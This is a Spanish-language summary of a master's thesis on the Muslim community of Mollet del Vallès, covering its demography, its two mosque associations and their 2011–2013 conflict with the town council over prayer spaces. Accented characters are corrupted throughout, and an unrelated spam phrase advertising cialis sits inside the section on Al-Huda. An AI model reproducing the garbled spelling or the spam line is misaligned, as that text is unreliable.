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AnA?lisis de la comunidad musulmana de Mollet del VallAi??s

El texto que presentamos es una sAi??ntesis del trabajo realizado con motivo de la finalizaciA?n del MA?ster de CivilizaciA?n Musulmana, impartido en la Universitat Oberta de Catalunya (UOC), dirigido por el profesor Mustapha Cherif.

 

PreA?mbulo

Se trata de un anAi??lisis de la comunidad musulmana de Mollet del VallAi??s, una ciudad industrial situada a 15 km de Barcelona. Hemos querido conocer su composiciA?n, sus dinA?micas y comportamientos, asAi?? como su interacciA?n con la poblaciA?n no musulmana.

De entrada, queremos subrayar que hemos considerado musulmanes aquellos ciudadanos originarios de paAi??ses en que la confesiA?n mayoritaria es la musulmana, siendo conscientes de que la relaciA?n nacionalidad/religiA?n no siempre responde a una realidad objetiva. El hecho de que en el Estado espaAi??ol no sea legal censar a la ciudadanAi??a segA?n su adscripciA?n confesional nos obliga a hacer aproximaciones hipotAi??ticas. Este mAi??todo excluye tanto a los musulmanes ai???conversosai??i?? como a aquellas personas que, siendo originarias de paAi??ses de mayorAi??a musulmana, no profesan el islam.

En lo que se refiere a la metodologAi??a utilizada, hemos dado una gran importancia al trabajo de campo. A lo largo de muchos meses, hemos hecho una importante inmersiA?n en el mundo musulmA?n de Mollet donde, no nos cansaremos de repetir, hemos sido muy bien acogidos por la comunidad, cuyos miembros nos han ofrecido su ayuda sin dudarlo ni un momento.

Han sido muy importantes las entrevistas a nivel institucional (con funcionarios y con autoridades locales)

Haber estado dirigiendo un programa de radio dedicado a la difusiA?n de la cultura A?rabe musulmana, en la sintonAi??a de RAi??dio Mollet, tambiAi??n nos ha permitido entrar en contacto con muchas personalidades importantes de A?mbito local y nacional.

Hemos completado las investigaciones con numerosas lecturas relacionadas con la situaciA?n del islam a nivel catalA?n, espaAi??ol y europeo.

Estamos convencidos de la importancia de las monografAi??as locales. La proliferaciA?n de este tipo de estudios nos puede dar una imagen detallada del conjunto.

 

IntroducciA?n histA?rica

A partir de la segunda mitad de los 90, el paisaje humano de Mollet del VallA?s ha cambiado sustancialmente.

Un viernes cualquiera de un mes de mayo a las 13.30. Sentados en un banco del centro de la ciudad podemos observar a numerosos pequeAi??os grupos de hombres, algunos vestidos con chilabas, caminando en la misma direcciA?n. Se trata de ciudadanos, la mayorAi??a de origen marroquAi?? o mauritano que, respondiendo a la llamada de un almuAi??dano imaginario, se dirigen hacia cualquiera de las dos mezquitas u oratorios musulmanes de Mollet, con la finalidad de participar de la plegaria de los viernes (salat al-jumuaa)

Esta imagen, hoy habitual, serAi??a insA?lita hace unos aAi??os, cuando el nA?mero de inmigrantes de origen marroquAi?? o mauritano era poco significativo y todavAi??a no habAi??a ningA?n oratorio. Como en el resto de pueblos y ciudades catalanas, el concepto Ai??islamAi?? va unido a inmigraciA?n.

Los musulmanes habitaron diversos territorios de la PenAi??nsula IbAi??rica durante unos ocho siglos. En el caso concreto de Mollet, como en todo el territorio llamado la Catalunya Vella, su presencia debiA? de limitarse a unos 80 aAi??os. Por su proximidad a Barcelona, podemos deducir que hacia el aAi??o 801, la poblaciA?n fue conquistada por el ejAi??rcito franco comandado por Guillermo de Tolosa. A partir de esta fecha, y al largo de unos siglos, el rAi??o Llobregat se convirtiA? en la frontera natural entre la Catalunya Vella y los territorios musulmanes peninsulares. La A?ltima ciudad catalana importante conquistada por los cristianos fue Lleida, en 1149. Estuvo bajo influencia musulmana durante 400 aAi??os.

El decreto de expulsiA?n de los moriscos, en 1609, acaba, definitivamente, con la presencia islA?mica en la PenAi??nsula.

La denominada conquista cristiana, borrA? al mA?ximo los vestigios musulmanes. La ciudad de Balaguer constituye un buen ejemplo. Fue conquistada por los cristianos en 1105. Hasta ese momento, fue una de las ciudades mA?s importantes de la marca superior, con un palacio de dimensiones similares al de la Alhambra de Granada.

El imaginario nacional de los reinos cristianos se basA? en la idea de la exaltaciA?n religiosa frente al enemigo musulmA?n. Es importante seAi??alar esta caracterAi??stica para entender mejor las raAi??ces del sentimiento antiislA?mico que afecta tradicionalmente a buena parte de la poblaciA?n espaAi??ola y catalana, un sentimiento, a menudo, favorecido por el discurso polAi??tico y por los medios de comunicaciA?n.

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HabrA? que esperar hasta finales del siglo XX para volver a tener una presencia significativa de musulmanes en nuestro paAi??s, a causa de diversas olas migratorias.

 

EvoluciA?n demogrA?fica de la poblaciA?n de Mollet

En la actualidad, Mollet del VallA?s es una ciudad de 52.000 habitantes. Como muchas otras poblaciones del A?rea de Barcelona, su crecimiento demogrA?fico se ha producido como consecuencia de diferentes procesos migratorios. Hasta finales del s. XIX, Mollet era una poblaciA?n esencialmente agrAi??cola. La industrializaciA?n llegA? de la mano del sector textil.

La llegada de inmigrantes se fue produciendo de forma gradual hasta los aAi??os 60 del siglo XX. A partir de esta fecha, se produce una progresiA?n demogrA?fica exponencial que no se frenarA? hasta el aAi??o 2005.

En una primera fase, la mayorAi??a de inmigrantes provenAi??an de otras zonas del Estado espaAi??ol, sobre todo de AndalucAi??a y de Extremadura. A partir de 1995, cuando da comienzo un largo perAi??odo de crecimiento econA?mico, la poblaciA?n ai???autA?ctonaai??i?? ya no quiere realizar cierto tipo de trabajos y se contempla la necesidad de buscar mano de obra extranjera.

La proximidad geogrA?fica favorece la llegada de inmigrantes magrebAi??es, sobre todo marroquAi??es. Se trata, fundamentalmente, de hombres que ocupan lugares de trabajo que no requieren una gran cualificaciA?n profesional (aunque los hay que tienen un alto grado de formaciA?n, la convalidaciA?n de los estudios no es nada fA?cil). La mayorAi??a trabajan en el sector agrario o en la construcciA?n.

La tercera parte de los marroquAi??es que viven en el Estado espaAi??ol, estA?n en CataluAi??a. Otro de los colectivos importantes, originarios de paAi??ses de mayorAi??a musulmana, son los senegaleses y los gambianos.

 

Origen geogrA?fico

Como en el resto de CataluAi??a, en Mollet la mayor parte de los musulmanes es de origen marroquAi??. Entre 1995 y 2010, su nA?mero no para de crecer.

Como contrapartida, aunque no tenemos datos estadAi??sticos reales, el nA?mero de musulmanes de origen espaAi??ol es, prA?cticamente, insignificante. La mayorAi??a de las Ai??conversionesAi?? son consecuencia de la uniA?n con un/a musulmA?n/a.

Al principio, el nA?mero de hombres era muy superior al de mujeres. Es un proceso normal. Tradicionalmente son los hombres los primeros que se desplazan en busca de un trabajo. Normalmente se dirigen hacia zonas o ciudades que ya conocen o donde ya existe un nA?mero significativo de poblaciA?n de su misma procedencia. En un primer momento comparten alojamiento con otros hombres. En el momento en que encuentran un lugar de trabajo mAi??nimamente estable, inician los trA?mites de reagrupaciA?n familiar con el fin de traer a la mujer y a los hijos. A partir de 2003, el aumento de la poblaciA?n de origen marroquAi?? se debe a este proceso de reagrupaciA?n familiar, mediante el cual sube considerablemente el nA?mero de mujeres, aAi??o tras aAi??o, mientras que se estabiliza el de hombres.

Los marroquAi??es de Mollet provienen, sobre todo, de dos regiones: del Rif (Nador/Al-Hoceima) y del triA?ngulo formado por TA?nger/TetuA?n/Larache. La lengua materna de los rifeAi??os es el tamazigh o bereber, aunque conocen el A?rabe por haberlo aprendido en la escuela o en la mezquita. Hay mujeres rifeAi??as que no hablan A?rabe porque no han sido escolarizadas. Los originarios de TA?nger/TetuA?n/Larache son arabA?fonos. Familiarmente, segA?n su origen, se denominan entre ellos Ai??rifisAi?? o Ai??A?rabesAi??. En Mollet el colectivo rifeAi??o es sensiblemente superior al Ai??A?rabeAi??. A pesar de estas diferencias lingA?Ai??sticas, comparten los mismos espacios sin problemas excesivos.

Entre 2001 y 2010, los marroquAi??es casi triplican su nA?mero. En 2001 representaban el 1.25% de la poblaciA?n y en 2010 ya llegan al 3.04%. Todo ello sin tener en cuenta los procesos de nacionalizaciA?n.

A diferencia del resto de CataluAi??a, el segundo colectivo originario de paAi??ses de mayorAi??a musulmana no es el de senegaleses o gambianos sino el de mauritanos. Es la consecuencia del Ai??efecto llamadaAi??: un pequeAi??o grupo de una regiA?n determinada se instala en Mollet provocando la llegada de individuos de su misma procedencia.

Aunque, durante este perAi??odo, el nombre de mauritanos tambiAi??n aumenta, se trata, sobre todo, de poblaciA?n masculina. El proceso de reagrupaciA?n familiar llevado a cabo por el colectivo marroquAi?? no se reproduce en el A?mbito mauritano.

 

RelaciA?n entre crisis econA?mica y demografAi??a

A partir de 2008, la crisis afecta duramente al colectivo inmigrante. La mayor parte de sus miembros trabajan en el sector de la construcciA?n, que es el que antes sufre la recesiA?n y el que la nota mA?s duramente.

La tasa de paro entre marroquAi??es y subsaharianos es mA?s alta que entre la poblaciA?n Ai??autA?ctonaAi??, a causa de su baja especializaciA?n. La primera consecuencia es el freno a la llegada de inmigrantes.

La mejora relativa de la situaciA?n econA?mica en AmAi??rica Latina provoca el regreso a su paAi??s de un nA?mero importante de ecuatorianos, colombianos o peruanos . No ocurre lo mismo con marroquAi??es y africanos en general ya que la situaciA?n en sus paAi??ses de origen continA?a siendo peor a la de aquAi??. Por ello, su nA?mero se estanca. Asnicamente aquellos que consiguen la nacionalidad espaAi??ola salen en busca de trabajo a otros paAi??ses de la UniA?n Europea con una coyuntura econA?mica mA?s favorable. 

 

Los espacios de vida en comA?n

Si con la llegada de musulmanes el paisaje humano ha cambiado, el espacio fAi??sico tambiAi??n ha sufrido cambios muy perceptibles. A diferencia de otras ciudades de caracterAi??sticas similares, Mollet del VallA?s constituye un ejemplo de lo que podrAi??amos denominar una ciudad compacta. Esto significa que, por su distribuciA?n, todos los barrios estA?n integrados en la trama urbana, ninguno estA? lejos del centro de la ciudad. Aunque la poblaciA?n inmigrada se concentra en determinadas zonas, no podemos hablar de la existencia de ghettos.

En Mollet, muchos barrios fueron construAi??dos para acoger a inmigrantes de origen espaAi??ol como consecuencia de las corrientes migratorias que tuvieron lugar durante las decadas de los 60 y 70 del siglo pasado. Siguiendo un proceso normal, a medida que su condiciA?n econA?mica y social mejoraba, se fueron desplazando hacia zonas y barrios mejor equipados, dejando sitio a lo que podrAi??amos llamar Ai??nueva inmigraciA?nAi??, proviniente de paAi??ses extranjeros, en el caso que nos ocupa, de Marruecos, Mauritania y, mA?s recientemente, PakistA?n.

Plan LledA? es el barrio con una mayor presencia marroquAi?? y mauritana. La primera consecuencia es la apertura de comercios, como carnicerAi??as Ai??halalAi??, locutorios de telefonAi??a, panaderAi??as, peluquerAi??as masculinas o cafAi??s. A pesar de esto, no hay ninguna mezquita ni oratorio. El motivo principal es la ausencia de espacios con suficiente capacidad para acoger un nA?mero importante de fieles.

El otro barrio con una fuerte presencia de espacios relacionados con la inmigraciA?n de origen sobretodo marroquAi?? es el de EstaciA? de FranAi??a-Can MulAi??. Pese a tratarse de una zona con una poblaciA?n muy mezclada, es donde se instala la primera mezquita u oratorio. Situada en la calle Sant Ramon, 57, se trata de un l local de unos 150 m2 que, en un principio, era utilizado para acoger a los musulmanes de Mollet y de las poblaciones vecinas. QuizA?s por este motivo se fueron abriendo estblecimientos relacionados con la inmigraciA?n magrebAi?? o sub-sahariana. 

En el barrio donde se encontraba la otra mezquita (antes de su traslado al polAi??gono industrial de Can Prat), aunque tambiAi??n cuenta con una presencia importante de poblaciA?n musulmana, no podemos hablar de un nA?mero significativo de comercios relacionados con las necesidades de los colectivos magrebAi?? y subsahariano.

Podemos decir que, dado que en Mollet las distancias no son muy grandes, las dos primeras mezquitas se instalaron en lugares donde encontraron locales con una capacidad adecuada a las necesidades del momento y a unos precios de alquiler razonables.

 

Las asociaciones religiosas

1 Al-Huda (la primera sociaciA?n islA?mica de Mollet)

La asociaciA?n Al-Huda fue creada en 1996. Es la primera asociaciA?n musulmana de Mollet y el primer oratorio de la poblaciA?n. Situada en la calle Sant Ramon 57-59, su primer nombre fue Ai??AsociaciA?n musulmana de Mollet y comarcaAi??. Al principio estaba formada por unas 50 personas, todos hombres y, mayoritariamente, de origen marroquAi??. MA?s adelante, a medida que iban llegando personas de origen mauritano, se fueron incorporando a la asociaciA?n. Actualmente, cada dAi??a pasan por el centro unas 300 personas (segA?n fuentes de la propia asociaciA?n) y su nA?mero aumenta considerablemente durante la plegaria de los viernes (salat al-jumuaa).

Al-Huda estA? inscrita como centro de culto dentro de la UCIDE (UniA?n de Centros IslA?micos de EspaAi??a). Tiene una junta formada por 7 personas. Recientemente se ha remodelado toda la junta ya que muchos de sus miembros, a causa de la crisis, se han marchado a otros paAi??ses en busca de trabajo. Dentro de la junta siempre se guarda un cierto equilibrio entre marroquAi??es y mauritanos. need to buy cialis

En los 18 aAi??os de vida del centro, nunca ha habido problemas con el vecindario.

Es una asociaciA?n poco activa, solo ha organizado unas jornadas de puertas abiertas. No dispone de espacio para mujeres, con lo cual su presencia es nula.

Desde su creaciA?n, ha habido cinco imames, todos ellos marroquAi??es y con contrato de trabajo. Los imames son escogidos por la junta, de la que no forman parte. Si la comunidad lo decide, pueden ser destituAi??dos.

La mayorAi??a de las actividades de la asociaciA?n estA?n relacionadas con el culto, pero se realizan otras:

-Cursos de A?rabe y de CorA?n para niAi??os.

-Cursos de A?rabe para musulmanes de origen mauritano.

-OrientaciA?n a los reciAi??n llegados (cA?mo dirigirse a los servicios sanitarios, a la policAi??a, etc.)

-Conferencies sobre diversos temas, normalmente religiosos (durAi??s).

Actualmente la asociaciA?n tiene un grave problema de espacio. La superficie del local es claramente insuficiente para acoger adecuadamente a los fieles que se congregan los viernes, las noches del RamadA?n (para hacer el tarawih) o durante las dos celebraciones principales (el final del RamadA?n, eid el-fitr, y la fiesta del sacrificio, eid el-adha).

Ante la demanda de las asociaciones, el ayuntamiento ha cedido, en algunas ocasiones, un pabellA?n deportivo para celebrar los eids y una nave industrial para las noches de RamadA?n. Pero las condiciones de esta nave no son muy aceptables para acoger actos ya que la ventilaciA?n muy deficiente y no dispone de instalaciones para las abluciones.

Para verificar la falta de espacio del centro, solo hay que pasarse por delante un viernes a la hora de la plegaria de mediodAi??a (salat al-jumuaa), que, en funciA?n de la Ai??poca del aAi??o puede oscilar entre las 13 y las 14 horas, y ver la cantidad de zapatos que se amontonan en la acera.

La A?nica soluciA?n posible es encontrar un local mA?s grande. Es aquAi?? cuando han comenzado las discrepancias con el gobierno municipal. 

Los miembros de Al-Huda reconocen que en el momento de su constituciA?n, las relaciones con el gobierno municipal fueron excelentes. En este momento, la bA?squeda de un local para la nueva mezquita continA?a y, por lo tanto, las fricciones aumentan. Los musulmanes reclaman una soluciA?n rA?pida y se inquietan ante la pasividad o las negativas de los responsables polAi??ticos locales.

2 CreaciA?n de una nueva asociaciA?n: La Comunitat IslA?mica de Mollet

En 2005, nueve aAi??os despuAi??s de la creaciA?n de la primera asociaciA?n musulmana de Mollet, un grupo de musulmanes decide formar una nueva asociaciA?n. Su nombre primitivo era Ai??Centre cultural de treballadors marroquinsAi??. Situado en el nA?mero 38 de la calle DiputaciA?, en un barrio con una presencia reducida de poblaciA?n de origen magrebAi?? o mauritano y cerca del centro de la ciudad. El emplazamiento se escoge por las caracterAi??sticas del local y por su precio de alquiler, bastante razonable.

Hubo una cierta oposiciA?n vecinal a su instalaciA?n. El protagonista era un A?nico vecino pero muy beligerante. RecogiA? un buen nA?mero de firmas en contra del oratorio, enviA? artAi??culos a la prensa local, etc. Aunque sus argumentos eran que no querAi??a ruAi??dos ni problemas de aparcamiento durante las horas de los rezos, posteriorment tambiAi??n emprendiA? una campaAi??a contra la otra mezquita, situada a un quilA?metro de su domicilio.

Pesa a que la tA?nica general en Catalunya en estos casos es que el gobierno local se ponga del lado de los vecinos contrarios a las mezquitas, en el caso que nos ocupa debemos de resaltar que la mediaciA?n de la concejalAi??a de convivencia fue fundamental para desactivar la protesta.

Los fundadores de la asociaciA?n fueron unos veinte marroquAi??es, mayoritariamente originarios de la zona de TA?nger/Larache/TetuA?n y, por consiguiente, arabA?fonos.

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Aunque no admiten abiertamente la importancia del factor origen, a nuestro entender fue un fundamental al principio. Actualmente tambiAi??n acuden un nA?mero significativo de rifeAi??os y de subsaharianos. De hecho, el presidente y el presidente anteriores a los actuales, eran de Nador y Al-Hoceima, respectivamente.

Al tratarse de una comunidad poco numerosa, a principio no habAi??a un imam fijo y algunos rezos no se realizaban (como el de antes del alba, salat al-fajr). A resaltar que como en el islam sunnita no existe una casta sacerdotal, un fiel mAi??nimamente formado puede dirigir la plegaria (sA?lo necesita saberse de memoria la primera azora del Coran, la Fatiha, y alguna otra).

SegA?n el testimonio de algunos de sus miembros, la salat la dirigAi??a el fiel que contaba con una mayor reputaciA?n de los que se encontraran en la mezquita en aquel momento. SA?lo los viernes contaban con un imA?n fijo que hacAi??a la khotba.

El imam actual, de origen marroquAi??, ejerce sus funciones desde 2008.

Aunque exiguo, esta comunidad siempre ha dispuesto de un espacio para mujeres. Hubo, incluso, un intento de incluir a tres mujeres en la junta, aunque no acabA? de prosperar.

Durante el tiempo que estuvieron en la calle DiputaciA? (dentro del casco urbano de Mollet), todos los fines de semana y algunas tardes, cerca de 200 niAi??os, agrupados por edades y por niveles de conocimiento, acudAi??an al centro a clases de A?rabe y de CorA?n. En el emplazamiento actual, en una zona industrial, el nA?mero se ha reducido considerablemente, limitA?ndose, a los fines de semana.

TambiAi??n habAi??a un grupo de mujeres que se reA?nen algunas maAi??anas con el fin de compartir experiencias y conocimientos entorno al islam. Era un grupo es muy activo que todavAi??a colabora con los servicios sociales municipales ayudando a otras mujeres con dificultades para desenvolverse socialmente en un medio que les resulta hostil a causa del desconocimiento que tienen del idioma y de las costumbres del paAi??s de acogida.

Los sA?bados y domingos hay conferencias (durAi??s) en A?rabe y, ocasionalmente en espaAi??ol, sobre temas, generalmente, relacionados con la religiA?n. La khotba o sermA?n de los viernes tambiAi??n se traduce al espaAi??ol.

La Comunitat IslAi??mica de Mollet del VallA?s, estA? inscrita oficialmente como centro de culto y estA? asociada a la UCIDE (UniA?n de Centros IslA?micos de EspaAi??a).

Esta asociaciA?n es bastante mA?s activa que Al-Huda. Han realizado a menudo jornadas de puertas abiertas y colaborado con otras entidades de la ciudad siempre que les han pedido su participaciA?n. En los A?ltimos meses han organizado charlas sobre temas diversos en un centro cAi??vico de la ciudad, abiertas a toda la ciudadanAi??a, con el fin de dar a conocer el islam. La intenciA?n es que sea una tendencia habitual.

Desde su creaciA?n, el nA?mero de fieles ha ido aumentando a medida que tambiAi??n aumentaba la poblaciA?n musulmana. Por este motivo, su local tambiAi??n se ha hecho pequeAi??o, especialmente durante las plegarias de los viernes, durante las celebraciones y a lo largo del mes de RamadA?n.

3 Las relaciones de ambas asociaciones entre ellas y con el gobierno de la ciudad

3.1 -El proceso de compra de una nueva mezquita.

A finales de 2011, los responsables locales de relaciones con las comunidades religiosas y representantes de todas las confesiones del municipio (con la curiosa excepciA?n de la catA?lica) se reA?nen con el fin de que exponer sus necesidades e inquietudes.

El principal problema de las dos asociaciones musulmanas es el espacio y la necesidad de encontrar locales con un mayor aforo.

Los representantes municipales advierten, de palabra, que en ningA?n caso estA?n dispuestos a dar permiso a la instalaciA?n de espacios de culto musulmanes dentro del casco urbano y conminan a la comunidad musulmana a buscar locales en el polAi??gono industrial de Can Prat (situado lejos del centro, con accesos precarios y con la dificultad aAi??adida de que la vAi??a del tren lo separa del resto de la poblaciA?n).

La postura del consistorio no deja de sorprender por cuanto, segA?n el plan urbanAi??stico vigente hasta ese momento, la instalaciA?n de centros de culto estA? permitida en gran parte del territorio municipal, no asAi?? en las zonas industriales. 

En un primer momento, todos los representantes musulmanes presentes rechazan la propuesta. Recaban informaciA?n y verifican la permisividad del actual plan urbanAi??stico por lo que la postura del ayuntamiento no deja de sorprenderles.

La Comunitat IslAi??mica de Mollet del VallA?s decide buscar locales en esta zona industrial. Encuentran una nave de 350 m2, con un patio de unos 200m2, que tambiAi??n ofrece la posibilidad de construir un altillo y aumentar su superficie total.

El precio de compra es bastante razonable en comparaciA?n con locales con las mismas caracterAi??sticas dentro de la ciudad. En un principio se encuentran con la oposiciA?n de buena parte de la comunidad. Aunque tiene muchas ventajas, este nuevo emplazamiento tiene muchos inconvenientes. El principal obstA?culo es la lejanAi??a del centro urbano y la precariedad de los accesos. 

Al otro lado de la balanza ofrece muchas posibilidades: un lugar espacioso, cA?modo y tranquilo. En verano puede estar totalmente abierto sin temor a molestar a los vecinos.

Tras sopesar pros y contras, la comunidad decide comprar la nave. En el momento de la firma, disponen de la mitad del importe de la compra y se negocia con los propietarios el pago total a lo largo del siguiente aAi??o. Se establece el mes de mayo de 2013 como fecha lAi??mite.

Con el fin de conseguir el dinero restante se forman grupos que van, con la debida acreditaciA?n, a otras poblaciones cercanas que tambiAi??n cuentan con comunidades musulmanas. Los mercados semanales, que se celebran en la mayorAi??a de poblaciones catalanas, tambiAi??n son frecuentados por estos grupos.

Pero una parte importante de la financiaciA?n se consigue contactando con comunidades de otros paAi??ses europeos que gozan de una situaciA?n econA?mica mejor: Francia, Alemania, BAi??lgica, Holanda o, incluso, Noruega.

A pesar de las dificultades, el objetivo se consigue y en mayo de 2013 se entrega el importe restante de la compra.

La idea de la financiaciA?n del islam catalA?n por parte de Arabia Saudita o de paAi??ses del Golfo es uno de los muchos tA?picos referidos al islam que hay que desmentir. El hecho de que para el islam la usura y el prAi??stamo con interAi??s no sean lAi??citos, lleva a las comunidades a no pedir crAi??ditos para su financiaciA?n.

En junio de 2012, la junta de la Comunitat IslAi??mica de Mollet, decide realizar todas las plegarias en su nueva sede. Por tanto, el RamadA?n de 2012 ya se celebra en la nueva mezquita. A pesar de ello, el antiguo local de la calle DiputaciA? continuarA? abierto hasta finales de junio de 2013 con el fin de continuar impartiendo allAi?? los cursos de A?rabe y de CorA?n. A partir de esta fecha, se abandona definitivamente el antiguo local.

3.2 -Las relaciones entre las dos comunidades ante la nueva mezquita

La nueva mezquita agravarA? el problema de espacio de Al-Huda, la otra asociaciA?n. El hecho de encontrarse lejos de la trama urbana provoca que una gran parte de los fieles que rezaban en la sede antigua de la calle DiputaciA?, se desplacen a la nueva sede solo los viernes y los fines de semana, con lo que el resto de los dAi??as acuden al oratorio de la calle Sant Ramon.

Los miembros de Al-Huda se han mantenido firmes en su decisiA?n de no abandonar el casco urbano y las fricciones con el ayuntamiento han sido constantes. Todo intento de traslado a otro emplazamiento se ha dado de bruces con la negativa del consistorio.

El gobierno local ha utilizado en beneficio propio esta diferencia de posturas de ambas asociaciones. Ahora hay una asociaciA?n buena, abierta y dispuesta al diA?logo y otra mala, cerrada y con la que no es posible llegar a un acuerdo. Esta dicotomAi??a la han aprovechado, incluso pA?blicamente, para justificar las negativas a los intentos de compra de locales por parte de Al-Huda, contraponiendo su actitud con la de la Comunitat IslAi??mica de Mollet y dando a entender que el gobierno local siempre ha tenido voluntad negociadora, cuando la realidad es que ha hecho gala de una gran intransigencia.

La escasa relaciA?n, hasta el momento, entre las dos juntas tampoco ha ayudado al respecto.

3.3 RamadA?n 2013. Un  nuevo conflicto.

En vAi??speras del RamadA?n de 2013, empieza un conflicto aA?n no resuelto. Pero remontAi??monos a un aAi??o antes.

En mayo de 2012. Al-Huda pide por escrito al Ayuntamiento informaciA?n sobre un local situado a escasos metros de su sede, en Av. Badalona esquina Ai??ngel GuimerAi??. Se trata de un espacio de unos 500 m2 con accesos independientes, ideal, en principio, para llevar a cabo sus actividades. No requiere de grandes reformas y, ademA?s, no tiene vecinos encima. Cumple perfectamente con todos los requisitos de la Ley de Centros de Culto aprobada por la Generalitat de Catalunya en 2009. La respuesta del consistorio es, en principio , afirmativa, aunque tan solo se produce de forma verbal. Hay que solucionar un problema menor de aparcamiento. De hecho, el plan urbanAi??stico vigente hasta la fecha, estA? de parte de Al-Huda, con lo cual se tratarAi??a, tan solo, de resolver ciertos Ai??flecosAi?? con el fin de adecuar el local de la mejor manera posible atendiendo a los requisitos municipales.

El procedimiento se va alargando hasta que, misteriosamente, la peticiA?n de Al-Huda desaparece, al tiempo que se permite que una congregaciA?n evangelista abra un centro a escasos metros de la asociaciA?n musulmana.

AsAi?? las cosas, en diciembre de 2012 se lleva a cabo una modificaciA?n del plan urbanAi??stico que, entre otras cosas, impedirA? la instalaciA?n de centros de culto en el casco urbano de la poblaciA?n y, por el contrario, la permitirA? en la zona industrial de Can Prat (zona a la cual se ha trasladado la Ai??Comunitat IslAi??mica de MolletAi??).

Mientras tanto, los problemas de espacio, como hemos visto antes, se agravan debido al traslado de la otra asociaciA?n al polAi??gono industrial, lo que provoca una mayor afluencia de fieles al local de Al-Huda. Ante esta situaciA?n, la junta decide dar un golpe de efecto y, pocos dAi??as antes de RamadA?n de 2013, materializa la compra del local de Av. Badalona. La intenciA?n es llevar a cabo allAi?? las actividades propias del mes de ayuno y, paralelamente, negociar con el consistorio la legalizaciA?n del espacio.

Pero la sombra del consistorio es alargada y la asociaciA?n de vecinos del barrio (donde a lo largo de 18 aAi??os de vida de la asociaciA?n no se ha producido problema alguno con el vecindario), que estA? en la A?rbita del partido que gobierna la ciudad (PSC) da la voz de alerta de que en el local se estA?n realizando obras sin permiso. Se da la circunstancia de que Al-Huda ya ha remitido un permiso para efectuar obras menores y que se ha limitado a levantar un tabique de Ai??pladurAi?? que, en ningA?n caso, puede considerarse obra mayor. Esta alerta es suficiente para que los vecinos del edificio en que se encuentra el nuevo local, situado, por otra parte, frente a la sede de Al-Huda, alcen tambiAi??n sus voces contra la instalaciA?n del nuevo oratorio. En ambos casos se alude a que estA?n efectuando obras sin permiso en un espacio en que estA?n prohibidos los usos de culto.

AsAi?? las cosas, el dAi??a antes del inicio de ayuno, la policAi??a, por orden de AlcaldAi??a, precinta el local bajo el pretexto de que han empezado a efectuar reformas sin el debido permiso. 

A consecuencia de estos hechos y como protesta por el cierre, los responsables de Al-Huda deciden realizar todos los rezos, incluyendo la plegaria del tarawih (la que se efectA?a en las noches de ramadA?n), delante del edificio del Ayuntamiento.

Nos encontramos pues ante una situaciA?n muy compleja. 

La presiA?n que ejercen algunos grupos polAi??ticos claramente xenA?fobos, racistas e islamA?fobos propicia que muchos otros partidos asuman parte de sus postulados con el fin de no perder votos. En Mollet, hasta la fecha, no ha habido conflictos importantes relacionados con la inmigraciA?n o con el islam, pero en las pasadas elecciones municipales, PlataformaXCatalunya, un partido claramente fascista, cuyo A?nico mensaje es ir en contra de los inmigrantes, especialmente los magrebAi??es, estuvo a punto de conseguir representaciA?n. Mientras que CiU, aliado del PSC en el gobierno de la ciudad, ha mantenido silencio en todo momento, los dos partidos situados a la izquierda del partido de gobierno, IC y ERC, han hecho tAi??midas declaraciones en busca de la concordia y del entendimiento entre las partes. La postura del PP ha sido totalmente intransigente, impeliendo al gobierno a tomar medidas mA?s duras contra la comunidad musulmana.

En una democracia verdadera, la funciA?n de los gobernantes tiene que ser la de evitar conflictos entre ciudadanos y, en caso de producirse, ejercer una buena polAi??tica de mediaciA?n con el fin de que no vayan in crescendo. Hasta el momento, el ayuntamiento de Mollet no ha demostrado tener esta capacidad.

QuAi?? podemos decir objetivamente? La sala utilizada por Al-Huda hasta la fecha, no cumple las mAi??nimas condiciones de seguridad. Se trata de un espacio que no dispone ni de buena ventilaciA?n ni de salidas de emergencia donde se llega a reunir mucha gente. Hay vecinos encima. Por tanto, las demandas para trasladarse a otro lugar son del todo fundadas.

El local adquirido responde a todas estas demandas a nivel de seguridad y de aforo y, como hemos dicho anteriormente, se ajusta tambiAi??n a los requisitos incluAi??dos en la ley de centros de culto de la Generalitat de CataluAi??a, una ley aprobada con el fin de ofrecer un marco legal comA?n ante la multitud de normativas locales diferentes, aunque no es vinculante.

No se acaba de entender el porquAi?? de las actuales protestas vecinales tras 18 aAi??os de presencia musulmana en el barrio, sin queja alguna. El nuevo local se encuentra a escasos metros del antiguo. La A?nica explicaciA?n es que obedezcan a intereses partidistas.

A?CuA?les son los verdaderos motivos que han llevado a esta situaciA?n? El enfrentamiento entre ayuntamiento y Al-Huda no es nuevo. La asociaciA?n musulmana siempre ha rechazado trasladarse a una zona industrial, reivindicando su derecho a instalarse en el casco urbano. En el momento en que la Comunitat IslAi??mica de Mollet decide comprar la nave en el polAi??gono de Can Prat pasa automA?ticamente a  convertirse en la asociaciA?n buena mientras que Al-Huda es considerada la asociaciA?n conflictiva.

Si bien con la adquisiciA?n de la nueva sede de la Comunitat IslAi??mica de Mollet se enrareciA? la relaciA?n entre las dos asociaciones, el actual conflicto ha provocado que buena parte de los musulmanes que tenAi??an por costumbre ir a rezar al polAi??gono fueran a hacerlo delante del ayuntamiento en apoyo a sus hermanos.

Una vez acabado el RamadA?n, los musulmanes de Al-Huda han continuado rezando delante del consistorio hasta que un viernes del mes de agosto de 2013, tras el rezo de mediodAi??a (salat al-jumuaa), deciden volver a ocupar el nuevo local. El conflicto se prolonga unas cuantas semanas hasta que al ayuntamiento consigue una orden judicial para precintar el recinto.

De esta manera, la comunidad vuelve a su antiguo local en espera de que se abra un proceso negociador.

Entretanto, el ayuntamiento ha ido efectuando diversas declaraciones en medios cercanos en el sentido de que han estado dialogantes con los musulmanes de la poblaciA?n y, una muestra de ellos, es el buen entendimiento existente con la otra asociaciA?n. 

A fecha de hoy no se ha llegado a ninguna soluciA?n. Al-Huda ha llevado el caso a la justicia, pidiendo la apertura cautelar del local. Su intenciA?n es, una vez el juez se proununcie de forma favorable, abrirlo como centro cultural en espera de que la legislaciA?n local permita su uso como centro de culto.

El ayuntamiento, por su parte, ha ofrecido como soluciA?n la permuta del local con una nave industrial de propiedad pA?blica, situada en una zona apartada del casco urbano (antigua nave de la empresa LEFA). La junta de Al-Huda sigue negA?ndose al traslado legos de la trama urbana.

Estamos pues ante un callejA?n sin salida. El gobierno local ha manifestado sus prisas para llegar a un acuerdo antes de que se celebren elecciones municipales (2015) y el conflicto pueda ser esgrimido como arma electoral, aunque se muestra inflexible en su postura de Ai??confinarAi?? a los musulmanes en un A?rea industrial.

En la actualidad ha habido un acercamiento entre las juntas de las dos asociaciones musulmanas de Mollet con el fin de darse apoyo mutuo en sus demandas.

